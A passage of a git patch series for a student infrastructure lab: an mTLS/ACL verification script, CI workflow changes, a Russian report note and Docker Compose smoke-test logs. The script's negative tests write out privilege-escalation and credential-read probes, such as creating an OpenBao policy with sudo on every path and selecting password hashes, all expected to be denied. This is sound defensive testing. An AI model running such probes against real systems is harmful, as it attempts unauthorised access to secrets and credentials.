+ record = logs.scope_logs.add().log_records.add(time_unix_nano=time.time_ns(), severity_text="INFO") + record.body.string_value = "TLS audit event" + loki = https("loki", 3100, "/otlp/v1/logs", role, "POST", + payload.SerializeToString(), content_type="application/x-protobuf")[0] + tempo = https("tempo", 4318, "/v1/traces", role, "POST", b"{}")[0] + return loki, tempo + + +def main(): + addresses = sorted({item[4][0] for item in socket.getaddrinfo("api", 8444, socket.AF_INET)}) + check("two API addresses resolved", len(addresses) == 2) + for index, address in enumerate(addresses, 1): + args = ("api", 8444, "/health/ready") + check(f"API {index} allows active LB", https(*args, "lb-active", address=address)[0] == 200) + for role in (None, "foreign", "intruder"): + check(f"API {index} rejects {role or 'missing cert'}", + rejected_http(*args, role, address=address)) + + for role in (None, "foreign", "intruder"): + check(f"Collector rejects {role or 'missing cert'}", rejected_http( + "collector", 4318, "/v1/metrics", role, "POST", b"{}")) + for role in ("api", "worker", "dispatcher", "reconciler"): + check(f"Collector allows {role} OTLP", https( + "collector", 4318, "/v1/metrics", role, "POST", b"{}")[0] == 200) + for port in (8888, 8889): + check(f"Collector scrape {port} permits only scraper", + https("collector", port, "/metrics", "scraper")[0] == 200 + and https("collector", port, "/metrics", "api")[0] == 403) + + api = get_values("api") + worker = get_values("worker") + dispatcher = get_values("dispatcher") + for role, values in (("worker", worker), ("dispatcher", dispatcher)): + url = values["BROKER_URL"] + check(f"broker allows {role}", broker(url, role).ping()) + for wrong in (None, "foreign", "intruder", "api"): + check(f"broker rejects {wrong or 'missing cert'} with valid {role} Redis password", + denied(lambda: broker(url, wrong).ping(), redis.ConnectionError)) + check("Redis producer cannot read stream", denied( + lambda: broker(dispatcher["BROKER_URL"], "dispatcher").xrange("attachments.jobs"), + redis.ResponseError, lambda e: "no permissions" in str(e).lower())) + check("Redis worker cannot publish", denied( + lambda: broker(worker["BROKER_URL"], "worker").xadd("attachments.jobs", {"audit": "denied"}), + redis.ResponseError, lambda e: "no permissions" in str(e).lower())) + check("Redis worker cannot write foreign key", denied( + lambda: broker(worker["BROKER_URL"], "worker").xack("other.stream", "image-workers", "0-0"), + redis.ResponseError, lambda e: "no permissions" in str(e).lower())) + + for role, values in (("api", api), ("worker", worker), ("dispatcher", dispatcher), + ("reconciler", get_values("reconciler"))): + dsn = values["DATABASE_URL"] + with psycopg.connect(dsn) as db: + info = db.execute("SELECT current_user, ssl, version FROM pg_stat_ssl WHERE pid=pg_backend_pid()").fetchone() + check(f"DB verify-full and distinct {role} login", info[0] == "lab_" + role and info[1]) + check(f"DB rejects plaintext {role} login", denied( + lambda: psycopg.connect(dsn, sslmode="disable"), psycopg.OperationalError, + lambda e: "no encryption" in str(e).lower())) + check("DB rejects mismatched SAN", denied(lambda: psycopg.connect( + api["DATABASE_URL"], host="intruder", hostaddr=socket.gethostbyname("db")), + psycopg.OperationalError, lambda e: "does not match" in str(e).lower())) + with psycopg.connect(worker["DATABASE_URL"]) as db: + check("worker cannot read users/passwords", denied( + lambda: db.execute("SELECT password_hash FROM users"), psycopg.errors.InsufficientPrivilege)) + + bucket = "messenger-attachments" + original = s3(api).list_objects_v2(Bucket=bucket, Prefix="originals/", MaxKeys=1) + check("S3 API allowed to list originals via verified HTTPS", + original["ResponseMetadata"]["HTTPStatusCode"] == 200) + check("S3 application cannot list all buckets (operator privilege)", denied( + lambda: s3(api).list_buckets(), ClientError, lambda e: e.response["ResponseMetadata"]["HTTPStatusCode"] == 403)) + check("S3 public health verified over TLS", https("s3", 9000, "/minio/health/live")[0] == 200) + if original.get("Contents"): + key = original["Contents"][0]["Key"] + check("S3 original is private even with a known object key", https("s3", 9000, f"/{bucket}/{key}")[0] == 403) + for label, fn in [ + ("S3 API cannot put original", lambda: s3(api).put_object(Bucket=bucket, Key="originals/deny", Body=b"deny")), + ("S3 worker cannot list bucket", lambda: s3(worker).list_objects_v2(Bucket=bucket)), + ("S3 worker cannot put arbitrary prefix", lambda: s3(worker).put_object(Bucket=bucket, Key="deny/object", Body=b"deny")), + ]: + check(label, denied(fn, ClientError, lambda e: e.response["ResponseMetadata"]["HTTPStatusCode"] == 403)) + + for role in ("api", "worker", "dispatcher", "reconciler"): + auth = get_auth(role) + token = auth["client_token"] + check(f"OpenBao {role} scoped TTL and secret", auth["policies"] == [role] + and 0 < auth["lease_duration"] <= 90 and "DATABASE_URL" in get_values(role, token)) + for path, data in (("messenger/data/operator", None), ("sys/policies/acl/escalate", {"policy": 'path "*" {capabilities=["sudo"]}'})): + check(f"OpenBao {role} denied {path}", denied( + lambda: bao(role, path, data, token), HTTPError, lambda e: e.code == 403)) + other = "worker" if role == "api" else "api" + check(f"OpenBao {role} denied existing {other} secret", denied( + lambda: bao(role, "messenger/data/" + other, token=token), HTTPError, lambda e: e.code == 403)) + check("OpenBao same-CA intruder cannot assume API role", denied( + lambda: bao("intruder", "auth/cert/login", {"name": "api"}), HTTPError, + lambda e: e.code in (400, 403))) + check("OpenBao worker credential has no operator access", + set(worker) == {"DATABASE_URL", "S3_ACCESS_KEY_ID", "S3_SECRET_ACCESS_KEY", "BROKER_URL"}) + + for host, port, path in ( + ("prometheus", 9090, "/api/v1/query?query=up"), + ("loki", 3100, "/loki/api/v1/labels"), + ("tempo", 3200, "/api/search?limit=1"), + ): + check(f"{host} data source read role", https(host, port, path, "grafana")[0] == 200) + check(f"{host} denies application reads", https(host, port, path, "api")[0] == 403) + check("Loki denies Grafana ingest", https("loki", 3100, "/otlp/v1/logs", "grafana", "POST", b"{}")[0] == 403) + check("Tempo denies Grafana ingest", https("tempo", 4318, "/v1/traces", "grafana", "POST", b"{}")[0] == 403) + loki, tempo = collector_status("collector-export") + check("Loki permits Collector ingest", loki in (200, 204)) + check("Tempo permits Collector ingest", tempo == 200) + for host, port in (("broker", 6379), ("collector", 14318), ("collector", 18889), + ("prometheus", 19090), ("loki", 13100), ("tempo", 13200), ("tempo", 14318)): + check(f"closed plaintext port {host}:{port}", denied( + lambda: socket.create_connection((host, port), timeout=2), ConnectionRefusedError)) + print(f"PASS {len(SEEN)} TLS and ACL assertions") + + +if __name__ == "__main__": + if sys.argv[1:] == ["rotation"]: + verify_revocation() + elif sys.argv[1:] == ["collector-current"]: + loki, tempo = collector_status("collector-export") + check("active Collector exporter leaf accepted by Loki and Tempo", loki in (200, 204) and tempo == 200) + elif sys.argv[1:] == ["collector-rotation"]: + check("previous Collector leaf denied by Loki and Tempo", collector_status("collector-previous") == (403, 403)) + loki, tempo = collector_status("collector-export") + check("replacement Collector leaf accepted by Loki and Tempo", loki in (200, 204) and tempo == 200) + else: + main() -- 2.54.0 From be0faebc3c1b9ebe33b8e6dbe9446b428aa480fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9C=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=20=D0=A8=D0=B5=D0=BF?= =?UTF-8?q?=D1=82=D1=83=D0=BD=D0=BE=D0=B2?= Date: Wed, 11 Nov 2026 14:09:06 +0300 Subject: [PATCH 2/5] lab7:fix --- .github/workflows/contracts.yml | 29 ++- REPORT.md | 8 + evidence/ci-smoke.txt | 405 ++++++++++++++++++++++++++++++++ scripts/local_pki.py | 1 + 4 files changed, 440 insertions(+), 3 deletions(-) create mode 100644 evidence/ci-smoke.txt diff --git a/.github/workflows/contracts.yml b/.github/workflows/contracts.yml index 11cf289..ac47375 100644 --- a/.github/workflows/contracts.yml +++ b/.github/workflows/contracts.yml @@ -1,4 +1,4 @@ -name: Skeleton contracts +name: Lab 7 checks on: [push, pull_request] permissions: contents: read @@ -12,5 +12,28 @@ jobs: python-version: '3.12' - run: python -m pip install -r requirements-dev.txt - run: make check validate PYTHON=python -# This job validates the skeleton, not a student solution. -# Add build, readiness and make test in a separate application job. + application: + runs-on: ubuntu-latest + timeout-minutes: 20 + env: + COMPOSE_PROJECT_NAME: lab7-ci-${{ github.run_id }}-${{ github.run_attempt }} + steps: + - uses: actions/checkout@v4 + with: + persist-credentials: false + - name: Check Docker runtime + run: | + docker info --format '{{.ServerVersion}}' + docker compose version + - name: Build, bootstrap and wait for both API replicas + run: scripts/start.sh + - name: Run public HTTPS smoke + run: make test CA_FILE="$PWD/secrets/authority/ca.crt" + - name: Show service status after failure + if: failure() + run: | + if test -f compose.yaml; then docker compose ps --all; fi + - name: Stop CI stack + if: always() + run: | + if test -f compose.yaml; then docker compose down; fi diff --git a/REPORT.md b/REPORT.md index c7d265a..aafd1f4 100644 --- a/REPORT.md +++ b/REPORT.md @@ -77,6 +77,14 @@ python3 student-tests/incidents.py | Prometheus / Loki / Tempo / Grafana | v3.2.1 / 3.4.2 / 2.7.2 / 11.6.0-ubuntu | | OpenBao | 2.7.2, Raft с одним узлом | +В [CI](.github/workflows/contracts.yml) отдельный job `application` собирает +стенд, создаёт тестовые ключи и секреты, ждёт две API-реплики и запускает +публичный HTTPS smoke с локальным CA. После проверки контейнеры убираются +через `docker compose down`. Для job нужен изолированный Linux runner с +Docker Engine, Compose v2, Python, Bash, Make и OpenSSL. Запуск тех же +команд из чистой копии проверен локально на новом Compose-проекте. +[Лог локальной проверки CI-сценария](evidence/ci-smoke.txt). + ## Архитектура и решения Перенесены две API-реплики, REST-контракт, идемпотентность, keyset cursor, diff --git a/evidence/ci-smoke.txt b/evidence/ci-smoke.txt new file mode 100644 index 0000000..b4b93e3 --- /dev/null +++ b/evidence/ci-smoke.txt @@ -0,0 +1,405 @@ + Container mtusi2026lab7-grafana-1 Stopping + Container mtusi2026lab7-worker-1 Stopping + Container mtusi2026lab7-lb-1 Stopping + Container mtusi2026lab7-streams-1 Stopping + Container mtusi2026lab7-reconciler-1 Stopping + Container mtusi2026lab7-metrics-1 Stopping + Container mtusi2026lab7-logs-1 Stopping + Container mtusi2026lab7-traces-1 Stopping + Container mtusi2026lab7-api-2 Stopping + Container mtusi2026lab7-otel-1 Stopping + Container mtusi2026lab7-dispatcher-1 Stopping + Container mtusi2026lab7-api-1 Stopping + Container mtusi2026lab7-streams-1 Stopped + Container mtusi2026lab7-metrics-1 Stopped + Container mtusi2026lab7-otel-1 Stopped + Container mtusi2026lab7-grafana-1 Stopped + Container mtusi2026lab7-lb-1 Stopped + Container mtusi2026lab7-traces-1 Stopped + Container mtusi2026lab7-api-2 Stopped + Container mtusi2026lab7-api-1 Stopped + Container mtusi2026lab7-logs-1 Stopped + Container mtusi2026lab7-reconciler-1 Stopped + Container mtusi2026lab7-worker-1 Stopped + Container mtusi2026lab7-dispatcher-1 Stopped + Container mtusi2026lab7-s3-1 Stopping + Container mtusi2026lab7-loki-1 Stopping + Container mtusi2026lab7-prometheus-1 Stopping + Container mtusi2026lab7-collector-1 Stopping + Container mtusi2026lab7-openbao-1 Stopping + Container mtusi2026lab7-tempo-1 Stopping + Container mtusi2026lab7-db-1 Stopping + Container mtusi2026lab7-broker-1 Stopping + Container mtusi2026lab7-broker-1 Stopped + Container mtusi2026lab7-s3-1 Stopped + Container mtusi2026lab7-collector-1 Stopped + Container mtusi2026lab7-loki-1 Stopped + Container mtusi2026lab7-prometheus-1 Stopped + Container mtusi2026lab7-tempo-1 Stopped + Container mtusi2026lab7-db-1 Stopped + Container mtusi2026lab7-openbao-1 Stopped +Clean git archive with workflow and LB bootstrap changes, fresh Compose project +26.1.1 +Docker Compose version v2.27.0-desktop.2 +Local PKI updated: bootstrap +#0 building with "default" instance using docker driver + +#1 [s3-bootstrap internal] load build definition from s3.Dockerfile +#1 transferring dockerfile: 922B done +#1 DONE 0.0s + +#2 [api internal] load build definition from Dockerfile +#2 transferring dockerfile: 766B done +#2 DONE 0.0s + +#3 [api internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 DONE 0.7s + +#4 [s3-bootstrap] resolve image config for docker-image://docker.io/docker/dockerfile:1.7.0 +#4 DONE 0.7s + +#5 [api internal] load .dockerignore +#5 transferring context: 196B done +#5 DONE 0.0s + +#6 [api 1/10] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#6 DONE 0.0s + +#7 [api internal] load build context +#7 transferring context: 10.96kB done +#7 DONE 0.0s + +#8 [api 4/10] RUN pip install --no-cache-dir --requirement requirements.runtime.lock && groupadd --system --gid 10001 app && useradd --system --uid 10001 --gid app --home-dir /nonexistent --shell /usr/sbin/nologin app +#8 CACHED + +#9 [api 5/10] COPY --chown=app:app src ./src +#9 CACHED + +#10 [api 3/10] COPY requirements.txt requirements.runtime.lock ./ +#10 CACHED + +#11 [api 2/10] WORKDIR /app +#11 CACHED + +#12 [api 6/10] COPY --chown=app:app migrations ./migrations +#12 CACHED + +#13 [s3-bootstrap] docker-image://docker.io/docker/dockerfile:1.7.0@sha256:dbbd5e059e8a07ff7ea6233b213b36aa516b4c53c645f1817a4dd18b83cbea56 +#13 CACHED + +#14 [api 7/10] COPY --chown=app:app scripts ./scripts +#14 DONE 0.0s + +#3 [s3-bootstrap internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 ... + +#15 [api 8/10] COPY --chown=app:app student-tests ./student-tests +#15 DONE 0.0s + +#16 [api 9/10] COPY --chown=app:app contracts ./contracts +#16 DONE 0.0s + +#17 [api 10/10] COPY --chown=app:app lab.json ./lab.json +#17 DONE 0.0s + +#18 [api] exporting to image +#18 exporting layers 0.1s done +#18 writing image sha256:bd5a67a208a978c4c091b048e71a7ac7d2ca81860a2b3829d67bce3ffb395d30 done +#18 naming to docker.io/library/mtusi2026lab7-app:1 done +#18 DONE 0.1s + +#3 [s3-bootstrap internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 DONE 0.9s + +#19 [s3-bootstrap internal] load .dockerignore +#19 transferring context: 196B done +#19 DONE 0.0s + +#6 [s3-bootstrap 1/3] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#6 DONE 0.0s + +#20 [s3-bootstrap internal] load build context +#20 transferring context: 201B done +#20 DONE 0.0s + +#21 [s3-bootstrap 2/3] RUN python - <<'PY' +#21 CACHED + +#22 [s3-bootstrap 3/3] COPY infra/minio-entrypoint.sh /entrypoint.sh +#22 CACHED + +#23 [s3-bootstrap] exporting to image +#23 exporting layers done +#23 writing image sha256:1a3d35bfc369b07e7fc9b0acd34783963370eb80776393eb173cc0188f15ccc5 done +#23 naming to docker.io/library/mtusi2026lab7-mc:2025-04-16 done +#23 DONE 0.0s + Network lab7-ci-local-uidchi_vault Creating + Network lab7-ci-local-uidchi_vault Created + Network lab7-ci-local-uidchi_default Creating + Network lab7-ci-local-uidchi_default Created + Volume "lab7-ci-local-uidchi_grafana_data" Creating + Volume "lab7-ci-local-uidchi_grafana_data" Created + Volume "lab7-ci-local-uidchi_prometheus_data" Creating + Volume "lab7-ci-local-uidchi_prometheus_data" Created + Volume "lab7-ci-local-uidchi_bao_logs" Creating + Volume "lab7-ci-local-uidchi_bao_logs" Created + Volume "lab7-ci-local-uidchi_s3_data" Creating + Volume "lab7-ci-local-uidchi_s3_data" Created + Volume "lab7-ci-local-uidchi_postgres_data" Creating + Volume "lab7-ci-local-uidchi_postgres_data" Created + Volume "lab7-ci-local-uidchi_collector_data" Creating + Volume "lab7-ci-local-uidchi_collector_data" Created + Volume "lab7-ci-local-uidchi_broker_data" Creating + Volume "lab7-ci-local-uidchi_broker_data" Created + Volume "lab7-ci-local-uidchi_loki_data" Creating + Volume "lab7-ci-local-uidchi_loki_data" Created + Volume "lab7-ci-local-uidchi_bao_raft_active" Creating + Volume "lab7-ci-local-uidchi_bao_raft_active" Created + Volume "lab7-ci-local-uidchi_tempo_data" Creating + Volume "lab7-ci-local-uidchi_tempo_data" Created + Container lab7-ci-local-uidchi-grafana-1 Creating + Container lab7-ci-local-uidchi-prometheus-1 Creating + Container lab7-ci-local-uidchi-broker-1 Creating + Container lab7-ci-local-uidchi-openbao-1 Creating + Container lab7-ci-local-uidchi-collector-1 Creating + Container lab7-ci-local-uidchi-loki-1 Creating + Container lab7-ci-local-uidchi-s3-1 Creating + Container lab7-ci-local-uidchi-db-1 Creating + Container lab7-ci-local-uidchi-tempo-1 Creating + Container lab7-ci-local-uidchi-grafana-1 Created + Container lab7-ci-local-uidchi-broker-1 Created + Container lab7-ci-local-uidchi-streams-1 Creating + Container lab7-ci-local-uidchi-openbao-1 Created + Container lab7-ci-local-uidchi-prometheus-1 Created + Container lab7-ci-local-uidchi-metrics-1 Creating + Container lab7-ci-local-uidchi-loki-1 Created + Container lab7-ci-local-uidchi-logs-1 Creating + Container lab7-ci-local-uidchi-collector-1 Created + Container lab7-ci-local-uidchi-otel-1 Creating + Container lab7-ci-local-uidchi-s3-1 Created + Container lab7-ci-local-uidchi-tempo-1 Created + Container lab7-ci-local-uidchi-traces-1 Creating + Container lab7-ci-local-uidchi-db-1 Created + Container lab7-ci-local-uidchi-streams-1 Created + Container lab7-ci-local-uidchi-metrics-1 Created + Container lab7-ci-local-uidchi-logs-1 Created + Container lab7-ci-local-uidchi-otel-1 Created + Container lab7-ci-local-uidchi-traces-1 Created + Container lab7-ci-local-uidchi-collector-1 Starting + Container lab7-ci-local-uidchi-openbao-1 Starting + Container lab7-ci-local-uidchi-loki-1 Starting + Container lab7-ci-local-uidchi-s3-1 Starting + Container lab7-ci-local-uidchi-broker-1 Starting + Container lab7-ci-local-uidchi-grafana-1 Starting + Container lab7-ci-local-uidchi-db-1 Starting + Container lab7-ci-local-uidchi-prometheus-1 Starting + Container lab7-ci-local-uidchi-tempo-1 Starting + Container lab7-ci-local-uidchi-tempo-1 Started + Container lab7-ci-local-uidchi-traces-1 Starting + Container lab7-ci-local-uidchi-prometheus-1 Started + Container lab7-ci-local-uidchi-metrics-1 Starting + Container lab7-ci-local-uidchi-traces-1 Started + Container lab7-ci-local-uidchi-metrics-1 Started + Container lab7-ci-local-uidchi-broker-1 Started + Container lab7-ci-local-uidchi-streams-1 Starting + Container lab7-ci-local-uidchi-s3-1 Started + Container lab7-ci-local-uidchi-db-1 Started + Container lab7-ci-local-uidchi-collector-1 Started + Container lab7-ci-local-uidchi-otel-1 Starting + Container lab7-ci-local-uidchi-streams-1 Started + Container lab7-ci-local-uidchi-loki-1 Started + Container lab7-ci-local-uidchi-logs-1 Starting + Container lab7-ci-local-uidchi-grafana-1 Started + Container lab7-ci-local-uidchi-openbao-1 Started + Container lab7-ci-local-uidchi-otel-1 Started + Container lab7-ci-local-uidchi-logs-1 Started + Container lab7-ci-local-uidchi-openbao-1 Waiting + Container lab7-ci-local-uidchi-otel-1 Waiting + Container lab7-ci-local-uidchi-logs-1 Waiting + Container lab7-ci-local-uidchi-metrics-1 Waiting + Container lab7-ci-local-uidchi-streams-1 Waiting + Container lab7-ci-local-uidchi-prometheus-1 Waiting + Container lab7-ci-local-uidchi-db-1 Waiting + Container lab7-ci-local-uidchi-loki-1 Waiting + Container lab7-ci-local-uidchi-traces-1 Waiting + Container lab7-ci-local-uidchi-broker-1 Waiting + Container lab7-ci-local-uidchi-tempo-1 Waiting + Container lab7-ci-local-uidchi-collector-1 Waiting + Container lab7-ci-local-uidchi-s3-1 Waiting + Container lab7-ci-local-uidchi-grafana-1 Waiting + Container lab7-ci-local-uidchi-prometheus-1 Healthy + Container lab7-ci-local-uidchi-collector-1 Healthy + Container lab7-ci-local-uidchi-traces-1 Healthy + Container lab7-ci-local-uidchi-grafana-1 Healthy + Container lab7-ci-local-uidchi-logs-1 Healthy + Container lab7-ci-local-uidchi-streams-1 Healthy + Container lab7-ci-local-uidchi-metrics-1 Healthy + Container lab7-ci-local-uidchi-s3-1 Healthy + Container lab7-ci-local-uidchi-loki-1 Healthy + Container lab7-ci-local-uidchi-otel-1 Healthy + Container lab7-ci-local-uidchi-openbao-1 Healthy + Container lab7-ci-local-uidchi-tempo-1 Healthy + Container lab7-ci-local-uidchi-broker-1 Healthy + Container lab7-ci-local-uidchi-db-1 Healthy +OpenBao operator action completed: bootstrap +Applied 001_initial.sql +Applied 002_idempotency.sql +Applied 003_attachments.sql +Applied 004_pipeline.sql +Applied 005_observability.sql +Applied 006_security.sql +Applied 007_private_database.sql +Private bucket and scoped accounts ready + Container lab7-ci-local-uidchi-reconciler-1 Creating + Container lab7-ci-local-uidchi-dispatcher-1 Creating + Container lab7-ci-local-uidchi-api-1 Creating + Container lab7-ci-local-uidchi-lb-1 Creating + Container lab7-ci-local-uidchi-api-2 Creating + Container lab7-ci-local-uidchi-worker-1 Creating + Container lab7-ci-local-uidchi-dispatcher-1 Created + Container lab7-ci-local-uidchi-reconciler-1 Created + Container lab7-ci-local-uidchi-api-1 Created + Container lab7-ci-local-uidchi-lb-1 Created + Container lab7-ci-local-uidchi-api-2 Created + Container lab7-ci-local-uidchi-worker-1 Created + Container lab7-ci-local-uidchi-worker-1 Starting + Container lab7-ci-local-uidchi-reconciler-1 Starting + Container lab7-ci-local-uidchi-lb-1 Starting + Container lab7-ci-local-uidchi-dispatcher-1 Starting + Container lab7-ci-local-uidchi-api-2 Starting + Container lab7-ci-local-uidchi-reconciler-1 Started + Container lab7-ci-local-uidchi-dispatcher-1 Started + Container lab7-ci-local-uidchi-lb-1 Started + Container lab7-ci-local-uidchi-api-2 Started + Container lab7-ci-local-uidchi-api-1 Starting + Container lab7-ci-local-uidchi-worker-1 Started + Container lab7-ci-local-uidchi-api-1 Started +Ready aliases: 02056cfa19f44fb390d3ad0d6ade1556, 14f10b238f3a444aabf44955930b49d7 +python3 tests/smoke.py --base-url "https://localhost:8443" --ca-file "/tmp/lab7-ci-smoke.UidcHi/secrets/authority/ca.crt" +PASS: lab7 public API scenario; infrastructure and grading evidence remain separate. + Container lab7-ci-local-uidchi-grafana-1 Stopping + Container lab7-ci-local-uidchi-lb-1 Stopping + Container lab7-ci-local-uidchi-streams-1 Stopping + Container lab7-ci-local-uidchi-openbao-1 Stopping + Container lab7-ci-local-uidchi-logs-1 Stopping + Container lab7-ci-local-uidchi-dispatcher-1 Stopping + Container lab7-ci-local-uidchi-s3-1 Stopping + Container lab7-ci-local-uidchi-api-1 Stopping + Container lab7-ci-local-uidchi-traces-1 Stopping + Container lab7-ci-local-uidchi-metrics-1 Stopping + Container lab7-ci-local-uidchi-worker-1 Stopping + Container lab7-ci-local-uidchi-db-1 Stopping + Container lab7-ci-local-uidchi-reconciler-1 Stopping + Container lab7-ci-local-uidchi-otel-1 Stopping + Container lab7-ci-local-uidchi-api-2 Stopping + Container lab7-ci-local-uidchi-traces-1 Stopped + Container lab7-ci-local-uidchi-traces-1 Removing + Container lab7-ci-local-uidchi-otel-1 Stopped + Container lab7-ci-local-uidchi-otel-1 Removing + Container lab7-ci-local-uidchi-metrics-1 Stopped + Container lab7-ci-local-uidchi-metrics-1 Removing + Container lab7-ci-local-uidchi-streams-1 Stopped + Container lab7-ci-local-uidchi-streams-1 Removing + Container lab7-ci-local-uidchi-traces-1 Removed + Container lab7-ci-local-uidchi-tempo-1 Stopping + Container lab7-ci-local-uidchi-otel-1 Removed + Container lab7-ci-local-uidchi-collector-1 Stopping + Container lab7-ci-local-uidchi-metrics-1 Removed + Container lab7-ci-local-uidchi-prometheus-1 Stopping + Container lab7-ci-local-uidchi-streams-1 Removed + Container lab7-ci-local-uidchi-broker-1 Stopping + Container lab7-ci-local-uidchi-grafana-1 Stopped + Container lab7-ci-local-uidchi-grafana-1 Removing + Container lab7-ci-local-uidchi-grafana-1 Removed + Container lab7-ci-local-uidchi-prometheus-1 Stopped + Container lab7-ci-local-uidchi-prometheus-1 Removing + Container lab7-ci-local-uidchi-prometheus-1 Removed + Container lab7-ci-local-uidchi-s3-1 Stopped + Container lab7-ci-local-uidchi-s3-1 Removing + Container lab7-ci-local-uidchi-s3-1 Removed + Container lab7-ci-local-uidchi-lb-1 Stopped + Container lab7-ci-local-uidchi-lb-1 Removing + Container lab7-ci-local-uidchi-logs-1 Stopped + Container lab7-ci-local-uidchi-logs-1 Removing + Container lab7-ci-local-uidchi-lb-1 Removed + Container lab7-ci-local-uidchi-logs-1 Removed + Container lab7-ci-local-uidchi-loki-1 Stopping + Container lab7-ci-local-uidchi-db-1 Stopped + Container lab7-ci-local-uidchi-db-1 Removing + Container lab7-ci-local-uidchi-db-1 Removed + Container lab7-ci-local-uidchi-collector-1 Stopped + Container lab7-ci-local-uidchi-collector-1 Removing + Container lab7-ci-local-uidchi-collector-1 Removed + Container lab7-ci-local-uidchi-tempo-1 Stopped + Container lab7-ci-local-uidchi-tempo-1 Removing + Container lab7-ci-local-uidchi-tempo-1 Removed + Container lab7-ci-local-uidchi-broker-1 Stopped + Container lab7-ci-local-uidchi-broker-1 Removing + Container lab7-ci-local-uidchi-broker-1 Removed + Container lab7-ci-local-uidchi-loki-1 Stopped + Container lab7-ci-local-uidchi-loki-1 Removing + Container lab7-ci-local-uidchi-loki-1 Removed + Container lab7-ci-local-uidchi-openbao-1 Stopped + Container lab7-ci-local-uidchi-openbao-1 Removing + Container lab7-ci-local-uidchi-openbao-1 Removed + Container lab7-ci-local-uidchi-reconciler-1 Stopped + Container lab7-ci-local-uidchi-reconciler-1 Removing + Container lab7-ci-local-uidchi-reconciler-1 Removed + Container lab7-ci-local-uidchi-api-2 Stopped + Container lab7-ci-local-uidchi-api-2 Removing + Container lab7-ci-local-uidchi-api-2 Removed + Container lab7-ci-local-uidchi-api-1 Stopped + Container lab7-ci-local-uidchi-api-1 Removing + Container lab7-ci-local-uidchi-api-1 Removed + Container lab7-ci-local-uidchi-worker-1 Stopped + Container lab7-ci-local-uidchi-worker-1 Removing + Container lab7-ci-local-uidchi-dispatcher-1 Stopped + Container lab7-ci-local-uidchi-dispatcher-1 Removing + Container lab7-ci-local-uidchi-worker-1 Removed + Container lab7-ci-local-uidchi-dispatcher-1 Removed + Network lab7-ci-local-uidchi_default Removing + Network lab7-ci-local-uidchi_vault Removing + Network lab7-ci-local-uidchi_default Removed + Network lab7-ci-local-uidchi_vault Removed + Container mtusi2026lab7-s3-1 Starting + Container mtusi2026lab7-prometheus-1 Starting + Container mtusi2026lab7-loki-1 Starting + Container mtusi2026lab7-openbao-1 Starting + Container mtusi2026lab7-tempo-1 Starting + Container mtusi2026lab7-db-1 Starting + Container mtusi2026lab7-broker-1 Starting + Container mtusi2026lab7-collector-1 Starting + Container mtusi2026lab7-tempo-1 Started + Container mtusi2026lab7-prometheus-1 Started + Container mtusi2026lab7-collector-1 Started + Container mtusi2026lab7-db-1 Started + Container mtusi2026lab7-s3-1 Started + Container mtusi2026lab7-openbao-1 Started + Container mtusi2026lab7-loki-1 Started + Container mtusi2026lab7-broker-1 Started +OpenBao operator action completed: unseal + Container mtusi2026lab7-worker-1 Starting + Container mtusi2026lab7-dispatcher-1 Starting + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-traces-1 Starting + Container mtusi2026lab7-lb-1 Starting + Container mtusi2026lab7-otel-1 Starting + Container mtusi2026lab7-metrics-1 Starting + Container mtusi2026lab7-grafana-1 Starting + Container mtusi2026lab7-streams-1 Starting + Container mtusi2026lab7-logs-1 Starting + Container mtusi2026lab7-reconciler-1 Starting + Container mtusi2026lab7-traces-1 Started + Container mtusi2026lab7-otel-1 Started + Container mtusi2026lab7-metrics-1 Started + Container mtusi2026lab7-logs-1 Started + Container mtusi2026lab7-streams-1 Started + Container mtusi2026lab7-worker-1 Started + Container mtusi2026lab7-grafana-1 Started + Container mtusi2026lab7-api-2 Started + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-lb-1 Started + Container mtusi2026lab7-reconciler-1 Started + Container mtusi2026lab7-dispatcher-1 Started + Container mtusi2026lab7-api-1 Started +Ready aliases: e7a17ec3d46844ad9fbfb52a89ec1ab1, e9df5b2dbd6748bab5f037d58b72b64f diff --git a/scripts/local_pki.py b/scripts/local_pki.py index 0496a53..8b1ee0f 100644 --- a/scripts/local_pki.py +++ b/scripts/local_pki.py @@ -112,6 +112,7 @@ def bootstrap(): source = "service.crt" if name == "public.crt" else "service.key" write(RUNTIME / "s3" / name, (RUNTIME / "s3" / source).read_text()) + write(RUNTIME / "lb" / "ca.crt", (CA / "ca.crt").read_text()) write(RUNTIME / "lb" / "server.pem", (RUNTIME / "public" / "service.pem").read_text()) if not (RUNTIME / "api" / "lb-serial").exists(): initial_lb = ROOT / "rotation" / "initial-lb" -- 2.54.0 From 494d6365e501fb5da2660ba783d7863ae3f52702 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9C=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=20=D0=A8=D0=B5=D0=BF?= =?UTF-8?q?=D1=82=D1=83=D0=BD=D0=BE=D0=B2?= Date: Wed, 11 Nov 2026 14:17:54 +0300 Subject: [PATCH 3/5] trigger lab7 CI -- 2.54.0 From bccb425fea6e3c7ff677beece8a71c2a04d5b7c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9C=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=20=D0=A8=D0=B5=D0=BF?= =?UTF-8?q?=D1=82=D1=83=D0=BD=D0=BE=D0=B2?= Date: Wed, 11 Nov 2026 14:46:14 +0300 Subject: [PATCH 4/5] Fix source download in Gitea CI --- .github/workflows/contracts.yml | 28 ++++++++++++++++++++++++---- evidence/ci-checkout.txt | 6 ++++++ 2 files changed, 30 insertions(+), 4 deletions(-) create mode 100644 evidence/ci-checkout.txt diff --git a/.github/workflows/contracts.yml b/.github/workflows/contracts.yml index ac47375..534dd65 100644 --- a/.github/workflows/contracts.yml +++ b/.github/workflows/contracts.yml @@ -6,7 +6,18 @@ jobs: contracts: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - name: Download source at workflow commit + env: + CI_REPOSITORY: ${{ github.repository }} + CI_REVISION: ${{ github.sha 